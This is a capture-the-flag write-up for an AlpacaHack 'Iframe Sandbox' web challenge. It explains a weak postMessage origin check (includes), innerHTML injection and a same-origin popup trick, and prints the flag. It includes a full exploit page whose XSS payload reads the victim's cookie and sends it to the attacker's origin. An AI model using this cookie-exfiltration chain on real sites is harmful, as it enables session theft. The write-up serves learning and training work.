Daily AlpacaHack 2026/05/12 Iframe Sandbox WriteUp
Daily AlpacaHack 2026/05/12 Iframe Sandbox WriteUp
TL;DR#
The challenge combines:
- a weak
eventvalidation (. origin includes) - HTML injection via
innerHTML - a same-origin popup to escape cross-site restrictions
By controlling /sandbox through postMessage, we achieve XSS inside the sandboxed iframe. Although cookies are inaccessible directly from a cross-site embedded context, opening a same-origin popup allows us to read document from the challenge origin.
Flag
Alpaca{4noth3r_sandb0x_An0ther_byp4s5} Challenge Overview#
The application exposes two pages:
/sandbox#
A page that listens for postMessage from its parent and renders attacker-controlled HTML via innerHTML.
/
A wrapper page that embeds /sandbox inside:
<iframe sandbox="allow-scripts"> At first glance, the sandboxed iframe appears to isolate script execution.
Vulnerabilities#
The /sandbox page accepts messages only if the sender appears to belong to the same hostname:
window.addEventListener("message", (event) => {
if (
event.source !== window.parent ||
!event.origin.includes(location.hostname)
) {
return;
}
const data = event.data;
if (!data || data.type !== "render-html") {
return;
}
app.innerHTML = data.html;
}); The issue lies in:
event.origin.includes(location.hostname) This is not an origin equality check, we can use an attacker-controlled domain like web to easily bypass the validation.
As long as we host a page on a matching domain, we can embed /sandbox and send arbitrary messages.
But even with XSS, directly reading cookies does not work:
document.cookie returns nothing useful.
This happens because the iframe is embedded cross-site and constrained by browser isolation rules.
At this point, the challenge seems blocked.
Exploitation Strategy#
The key observation is:
While the embedded iframe is cross-site constrained, a newly opened top-level frame is not.
Instead of reading cookies from the iframe directly, we open a new window pointing to a same-origin page:
const w = open("http://web:3000/sandbox"); After the popup loads, its origin becomes:
http://web:3000 which is the same origin as the challenge.
Since our injected script already runs under /sandbox, it can access:
w.document.cookie successfully.
We then exfiltrate the cookie back to our server.
But the final flag suggests the exploit may be somewhat unintended, since the challenge seems designed around the iframe sandbox itself.
Full Exploit#
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>iframe-sandbox solve</title>
</head>
<body>
<iframe
id="f"
src="http://web:3000/sandbox">
</iframe>
<script>
f.onload = () => {
setTimeout(() => {
const payload = `<img src=0 onerror="const w = window.open('http://web:3000/sandbox');setTimeout(() => {location ='${window.origin}/flag/' +encodeURIComponent(w.document.cookie);}, 2000);">`;
f.contentWindow.postMessage(
{
type: 'render-html',
html: payload
},
'*'
);
}, 1000);
};
</script>
</body>
</html>本文采用 CC BY-NC-SA 4.0 许可,转载请注明出处。